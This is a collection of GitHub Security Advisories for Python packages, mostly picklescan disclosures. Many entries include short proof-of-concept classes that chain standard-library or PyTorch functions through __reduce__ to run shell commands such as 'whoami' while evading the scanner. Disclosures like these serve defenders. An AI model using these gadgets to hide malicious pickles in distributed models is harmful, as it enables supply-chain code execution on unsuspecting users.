deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-3vg9-h568-4w9m
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python idlelib.debugobj.ObjectTreeItem

Details:
### Summary

Using idlelib.debugobj.ObjectTreeItem.SetText, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.debugobj.ObjectTreeItem.SetText function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
class EvilDebugobjSetText:
    def __reduce__(self):
        from idlelib.debugobj import ObjectTreeItem
        # ObjectTreeItem(..., setfunction=print).SetText(cmd)
        return ObjectTreeItem("label", None, print).SetText, ("__import__('os').system('whoami')",)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-f54q-57x4-jg88
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python lib2to3.pgen2.grammar.Grammar.loads

Details:
### Summary

Using lib2to3.pgen2.grammar.Grammar.loads, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to lib2to3.pgen2.grammar.Grammar.loads function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
class Evil:
    def __reduce__(self):
        import os
        return (os.system, ('whoami',))

class EvilLib2to3Pgen2GrammarLoads:
    def __reduce__(self):
        from lib2to3.pgen2.grammar import Grammar
        payload = pickle.dumps(Evil())
        # payload = b'\x80\x04\x95!\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
        return Grammar().loads, (payload,)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-6vqj-c2q5-j97w
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python profile.Profile.runctx

Details:
### Summary

Using profile.Profile.runctx, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to profile.Profile.runctx function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
class EvilProfileRunctx:
    def __reduce__(self):
        from profile import Profile
        payload = "__import__('os').system('whoami')"
        return Profile.runctx, (Profile(), payload, {}, {})
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-x696-vm39-cp64
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python profile.Profile.run

Details:
### Summary

Using profile.Profile.run, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to profile.Profile.run function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
class EvilProfileRun:
    def __reduce__(self):
        from profile import Profile
        payload = "__import__('os').system('whoami')"
        return Profile.run, (Profile(), payload)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-g344-hcph-8vgg
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python trace.Trace.runctx

Details:
### Summary

Using trace.Trace.runctx, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to trace.Trace.runctx function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
class EvilTraceRunctx:
    def __reduce__(self):
        from trace import Trace
        payload = "__import__('os').system('whoami')"
        return Trace.runctx, (Trace(), payload, {}, {})
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-5qwp-399c-mjwf
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.0.29
Patched in: 0.0.29

Summary: Picklescan has a missing detection when calling built-in python trace.Trace.run

Details:
### Summary

Using trace.Trace.run, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to trace.Trace.run function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
class EvilTraceRun:
    def __reduce__(self):
        from trace import Trace
        payload = "__import__('os').system('whoami')"
        return Trace.run, (Trace(), payload)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-cfmv-h8fx-85m7
Package: xml2rfc (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 3.30.0
Patched in: 3.30.1

Summary: xml2rfc has an arbitrary file read vulnerability

Details:
### Impact
When generating PDF files, this vulnerability allows an attacker to read arbitrary files from the filesystem by injecting malicious link element into the XML.

### Workarounds
Test untrusted input with `link` elements with `rel="attachment"` before processing.

### Credits
This vulnerability was reported by Mohamed Ouad from [Doyensec](https://doyensec.com/).
GitHub Security Advisory: GHSA-7753-xrfw-ch36
Package: llama-index-core (PIP)
Severity: HIGH (CVSS 8.6)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: < 0.12.38
Patched in: 0.12.38

Summary: LlamaIndex affected by a Denial of Service (DOS) in JSONReader

Details:
A denial of service vulnerability exists in the JSONReader component of the run-llama/llama_index repository, specifically in version v0.12.37. The vulnerability is caused by uncontrolled recursion when parsing deeply nested JSON files, which can lead to Python hitting its maximum recursion depth limit. This results in high resource consumption and potential crashes of the Python process. The issue is resolved in version 0.12.38.
GitHub Security Advisory: GHSA-63cx-g855-hvv4
Package: mitmproxy (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'), CWE-1395: Dependency on Vulnerable Third-Party Component
Vulnerable versions: <= 12.1.1
Patched in: 12.1.2

Summary: mitmproxy binaries embed a vulnerable python-hyper/h2 dependency

Details:
mitmproxy 12.1.1 and below embed python-hyper/h2 ≤ v4.2.0, which has a gap in its HTTP/2 header validation. This enables request smuggling attacks when mitmproxy is in a configuration where it translates HTTP/2 to HTTP/1. For example, this affects reverse proxies to `http://` backends. It does not affect mitmproxy's regular mode.

All users are encouraged to upgrade to mitmproxy 12.1.2, which includes a fixed version of h2.

More details about the vulnerability itself can be found at https://github.com/python-hyper/h2/security/advisories/GHSA-847f-9342-265h.
GitHub Security Advisory: GHSA-847f-9342-265h
Package: h2 (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-93: Improper Neutralization of CRLF Sequences ('CRLF Injection')
Vulnerable versions: < 4.3.0
Patched in: 4.3.0

Summary: h2 allows HTTP Request Smuggling due to illegal characters in headers

Details:
### Summary

HTTP/2 request splitting vulnerability allows attackers to perform request smuggling attacks by injecting CRLF characters into headers. This occurs when servers downgrade HTTP/2 requests to HTTP/1.1 without properly validating header names/values, enabling attackers to manipulate request boundaries and bypass security controls.
GitHub Security Advisory: GHSA-5cmr-4px5-23pc
Package: xgrammar (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: < 0.1.21
Patched in: 0.1.21

Summary: XGrammar affected by Denial of Service by infinite recursion grammars

Details:
### Summary
This issue: http://github.com/mlc-ai/xgrammar/issues/250 should have it's own security advisory. Since several tools accept and pass user supplied grammars to xgrammar, and it is so easy to trigger it seems like a High.
GitHub Security Advisory: GHSA-xqrq-4mgf-ff32
Package: future (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: >= 0.14.0
Patched in: unpatched

Summary: Withdrawn Advisory: Python-Future Module Arbitrary Code Execution via Unintended Import of test.py

Details:
## Withdrawn Advisory
This advisory has been withdrawn because it describes a documented feature of Python’s import system in the handling of sys.path. For more information, see https://github.com/PythonCharmers/python-future/issues/650.

## Original Description

A vulnerability in the Python-Future 1.0.0 module allows for arbitrary code execution via the unintended import of a file named test.py. When the module is loaded, it automatically imports test.py, if present in the same directory or in the sys.path. This behavior can be exploited by an attacker who has the ability to write files to the server, allowing the execution of arbitrary code. NOTE: Multiple third parties have disputed this issue and stated that it is not a security flaw in python-future and is a documented feature of Python’s import system in the handling of sys.path.
GitHub Security Advisory: GHSA-vv6j-3g6g-2pvj
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 0.0.27
Patched in: 0.0.28

Summary: Picklescan missing detection when calling pytorch function torch.utils._config_module.load_config

Details:
### Summary

Using torch.utils._config_module.load_config function, which is a pytorch library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils._config_module.load_config function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
import pickle
from torch.utils._config_module import ConfigModule

class Evil:
    def __reduce__(self):
        return (os.system, ('whoami',))

class EvilTorchUtilsConfigModuleLoadConfig:
    def __reduce__(self):
        evil_payload = pickle.dumps(Evil())
        return ConfigModule.load_config, (None, evil_payload)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-vr7h-p6mm-wpmh
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 0.0.27
Patched in: 0.0.28

Summary: Picklescan missing detection when calling pytorch function torch.jit.unsupported_tensor_ops.execWrapper

Details:
### Summary

Using torch.jit.unsupported_tensor_ops.execWrapper function, which is a pytorch library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.jit.unsupported_tensor_ops.execWrapper function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```

import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops

class EvilTorchJitUnsupportedTensorOpsExecWrapper:
    def __reduce__(self):
        code = '__import__("os").system("whoami")'
        glob = {}
        loc = {}
        return unsupported_tensor_ops.execWrapper, (code, glob, loc)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-h3qp-7fh3-f8h4
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: <= 0.0.27
Patched in: 0.0.28

Summary: Picklescan missing detection when calling pytorch function torch.utils.data.datapipes.utils.decoder.basichandlers

Details:
### Summary

Using torch.utils.data.datapipes.utils.decoder.basichandlers function, which is a pytorch library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils.data.datapipes.utils.decoder.basichandlers function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
import torch.utils.data.datapipes.utils.decoder as decoder

class EvilTorchUtilsDataDatapipesDecoder:
    def __reduce__(self):
        extension = 'pickle'
        class RCE:
            def __reduce__(self):
                return os.system, ('whoami',)
        data = pickle.dumps(RCE())
        return decoder.basichandlers, (extension, data)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-f745-w6jp-hpxx
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 0.0.27
Patched in: 0.0.28

Summary: Picklescan missing detection when calling pytorch function torch.utils.collect_env.run

Details:
### Summary

Using torch.utils.collect_env.run function, which is a pytorch library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.utils.collect_env.run function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
import torch.utils.collect_env as collect_env

class EvilTorchUtilsCollectEnvRun:
    def __reduce__(self):
        command = 'touch /tmp/collect_env_run_success'
        return collect_env.run, (command,)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-f4x7-rfwp-v3xw
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 0.0.27
Patched in: 0.0.28

Summary: Picklescan missing detection when calling pytorch function torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression

Details:
### Summary

Using torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function, which is a pytorch library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch.fx.experimental.symbolic_shapes.ShapeEnv.evaluate_guards_expression function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
import types
import torch.fx.experimental.symbolic_shapes as symbolic_shapes

class EvilTorchFxSymbolicShapesEvaluateGuardsExpression:
    def __reduce__(self):
        fake_self = str
        code = "__import__('os').system('whoami')"
        args = []
        return symbolic_shapes.ShapeEnv.evaluate_guards_expression, (fake_self, code, args)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu
GitHub Security Advisory: GHSA-86cj-95qr-2p4f
Package: picklescan (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-345: Insufficient Verification of Data Authenticity
Vulnerable versions: <= 0.0.27
Patched in: 0.0.28

Summary: Picklescan missing detection when calling pytorch function torch._dynamo.guards.GuardBuilder.get

Details:
### Summary

Using torch._dynamo.guards.GuardBuilder.get function, which is a pytorch library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to torch._dynamo.guards.GuardBuilder.get function in reduce method
Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

```
import types
import torch._dynamo.guards as guards

class EvilTorchDynamoGuardsGet:
    def __reduce__(self):
        fake_self = types.SimpleNamespace(scope={})
        name = "__import__('os').system('whoami')"
        return guards.GuardBuilder.get, (fake_self, name)
```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models.
What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded.
Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.com/FredericDT
https://github.com/Qhaoduoyu